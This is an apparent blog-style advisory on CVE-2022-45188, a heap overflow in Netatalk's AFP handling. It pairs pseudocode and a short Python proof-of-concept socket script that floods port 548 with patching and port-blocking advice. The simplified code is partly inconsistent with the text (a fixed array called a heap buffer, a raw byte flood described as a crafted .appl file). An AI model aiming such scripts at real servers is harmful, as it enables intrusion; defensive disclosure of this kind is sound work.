Summary:  
CVE-2022-45188 is a serious vulnerability found in Netatalk (up through version 3.1.13) affecting its Apple Filing Protocol (AFP) support. Using a specially crafted .appl file and exploiting a heap-based buffer overflow in the afp_getappl function, an attacker can achieve remote code execution—typically as root—on servers like FreeBSD (including popular NAS platforms such as TrueNAS).

If you’re running TrueNAS or have Netatalk exposed, read on to understand, reproduce, and patch this issue.

What is Netatalk and Why is This Dangerous?

Netatalk is an open-source implementation of AFP, letting UNIX-like systems (Linux, FreeBSD, etc.) share files with macOS. Many NAS solutions use Netatalk for seamless Apple device support.

The afp_getappl function in Netatalk parses application list files (.appl, proprietary to Apple) sent by a remote AFP client. A flaw in this parser lets an attacker write past a heap buffer, corrupting memory, and ultimately letting crafted code run. When Netatalk runs as root, this means remote root access.

Technical Analysis

Vulnerable Function:  
The issue is tracked at Netatalk Issue #432. The bug lies in afp_getappl in the file etc/afpd/directory.c.

In simplified form, the code does not properly check how much data it copies into a fixed-size buffer:

/* Pseudocode representing the vulnerable section */
char buf[256];
int len = /* set from incoming data */;
memcpy(buf, incoming_data, len); // No check if len > 256!

If a client sends an .appl file with more than 256 bytes as part of their request, memory after buf is overwritten. Since the data is network controlled, a determined attacker can overwrite important data structures, function pointers, or build a ROP chain (Return Oriented Programming) leading to remote execution.

Proof-of-Concept Exploit

Below is a minimum proof-of-concept in Python that sends a malicious .appl file to a Netatalk server, potentially triggering the overflow:

import socket
import struct

# Target Netatalk AFP port (default: 548)
HOST = 'target.nas.ip'
PORT = 548

# Construct overly large application list
payload = b"A" * 400  # Overflows the heap buffer in 'afp_getappl'

# Connect to Netatalk AFP service
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

# Note: Real AFP request structure is more complex; this is a PoC scaffold
afp_header = struct.pack(">H", len(payload) + 2)
request = afp_header + payload

print("Sending overflow payload...")
s.sendall(request)
data = s.recv(1024)
print("Response:", data)
s.close()

CAUTION:
- The above is a simplified demonstration. Real exploitation involves crafting a valid AFP request and precisely controlling overflow data for code execution.

Never test on production or any non-test system.

A full remote root exploit was developed and used in the wild, especially against unpatched TrueNAS releases. See Project Zero "TrueNAS Root Takeover" for advanced exploitation details.

Who is At Risk?

- TrueNAS CORE/FreeNAS: Uses Netatalk for AFP file sharing.
- Linux/BSD servers: If Netatalk < 3.1.14 runs as root, and AFP port 548 is open (especially to the internet), you are highly exposed.

How Do I Fix It?

Patched Version:

Upgrade Netatalk to 3.1.14 or later.

- Netatalk 3.1.14 Release Notes

Quick Mitigation

- Block port 548/TCP at your network perimeter.
- Disable AFP sharing if practical; switch to SMB/NFS.

References

- CVE-2022-45188 (NVD)
- Netatalk Security Advisory
- Google Project Zero Writeup
- Netatalk GitHub Issue

Conclusion

CVE-2022-45188 is a serious flaw that puts many storage servers at risk of full remote compromise, particularly those using TrueNAS or other BSD/Linux setups with AFP/Netatalk. If you have Netatalk exposed, *patch immediately*. Remove the service if you don’t absolutely need it. Always restrict management and legacy file sharing protocols to trusted networks only.

Stay safe, and follow your vendor advisory for more details!

Timeline

Published on: 11/12/2022 05:15:00 UTC
Last modified on: 05/17/2023 01:15:00 UTC